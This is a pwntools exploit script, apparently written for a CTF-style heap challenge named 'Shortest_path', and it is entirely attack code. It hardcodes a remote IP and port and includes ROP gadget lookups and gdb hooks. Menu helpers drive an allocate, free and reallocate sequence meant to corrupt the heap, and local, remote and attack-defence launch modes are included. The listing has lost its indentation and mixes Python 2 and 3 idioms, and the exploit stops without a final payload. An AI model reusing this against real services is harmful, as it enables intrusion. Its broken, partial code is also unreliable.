1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
| #Author xynm
#import xynm_pwn_util
import sys
import os
from time import *
from pwn import *
#log_level['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = b"CRITICAL"
remote_ip = b'121.37.181.246'
remote_port = 19008
binary_file = './%s' % "Shortest_path"
context.terminal = ['tmux', 'splitw', '-h']
local_libc_file = b'/lib/x86_64-linux-gnu/libc.so.6'
remote_libc_file = b''
def exploit(sh,remote = False,awd = False,awd_binary_file = ''):
def debug(gdb_script = ""):
gdb.attach(sh,gdb_script)
global binary_file,local_libc_file,remote_ip,remote_port,local_libc_file,remote_libc_file
if awd:
context.log_level = b"CRITICAL"
binary_file = ('./%s' % "Shortest_path") if awd_binary_file == '' else awd_binary_file
context.binary = binary_file
remote_libc_file = b'libc.so.6'
elf = context.binary
elf = context.binary
if awd or remote:
lib = ELF(remote_libc_file) if remote_libc_file != b'' else ""
else:
lib = elf.libc if local_libc_file == b"" else ELF(local_libc_file)
if context.arch == b"amd64":
pop_rdi_ret = elf.search(asm(b"pop rdi ; ret")).next()
pop_rsi_r15_ret = elf.search(asm(b"pop rsi ; pop r15 ; ret")).next()
elif context.arch == b"i386":
pop_ebp_ret = elf.search(asm(b"pop ebp ; ret")).next()
pop3_ret = elf.search(asm(b"pop esi ; pop edi ; pop ebp ; ret")).next()
s = lambda data :sh.send(str(data))
sa = lambda delim,data :sh.sendafter(str(delim), str(data))
sl = lambda data :sh.sendline(str(data))
sla = lambda delim,data :sh.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :sh.recv(numb)
ru = lambda delims, drop=True :sh.recvuntil(delims, drop)
irt = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
ru7f = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
ruf7 = lambda :u32(sh.recvuntil("\xf7")[-4:].ljust(4,b'\x00'))
lg = lambda data :log.success(data)
def add(station_idx,price,length,name,connected_station_idx=[],connected_station_distance=[]):
sla("--->","1")
sla(":",str(station_idx))
sla(":",str(price))
sla(":",str(length))
if length >= 0:
sa(":",name)
sla("Number of connected station: ",str(len(connected_station_idx)))
if len(connected_station_idx) <= 0:
return
for i in range(len(connected_station_idx)):
sla(":",str(connected_station_idx[i]))
sla(":",str(connected_station_distance[i]))
def show(idx):
sla("--->","3")
sla(":",str(idx))
def free(idx):
sla("--->","2")
sla(":",str(idx))
def calc(idx1,idx2):
sla("--->","4")
sla(":",str(idx1))
sla(":",str(idx2))
add(0,0x1,0x88,'\x11' * 0x88,[0],[50])
add(1,0x1,0x88,'\x12' * 0x88,[0,1,2],[100,200,300])
free(0)
add(2,0x1,0x88,'\x78',[0,1,2],[10,20,9])
add(3,0x1,0xFF,(0x240 - 0x1b0) * 'a',[4],[200])
add(4,0x1,0xFF,(0x240 - 0x1b0) * 'a',[3],[100])
calc(3,4)
if awd == False:
irt()
def CTF_exploit(argv):
global remote_ip,remote_port,binary_file
argv_len = len(argv)
context.log_level = b"DEBUG"
context.binary = binary_file
if argv_len == 1:
sh = process(binary_file)
exploit(sh)
return
elif argv_len == 2:
if argv[1] == "remote":
sh = remote(remote_ip,remote_port)
exploit(sh,remote = True)
return
elif argv[1] == "local":
sh = process(binary_file)
exploit(sh)
return
elif argv[1] == "awd":
context.log_level = b"CRITICAL"
sh = remote(remote_ip,remote_port)
exploit(sh,remote = True)
return
elif argv_len == 3:
sh = remote(argv[1],argv[2])
exploit(sh,remote = True)
return
else:
sh = process(binary_file)
exploit(sh)
if __name__ == b"__main__":
context.log_level = b"DEBUG"
context.binary = binary_file
sh = remote(remote_ip,remote_port)
exploit(sh,remote = True)
|
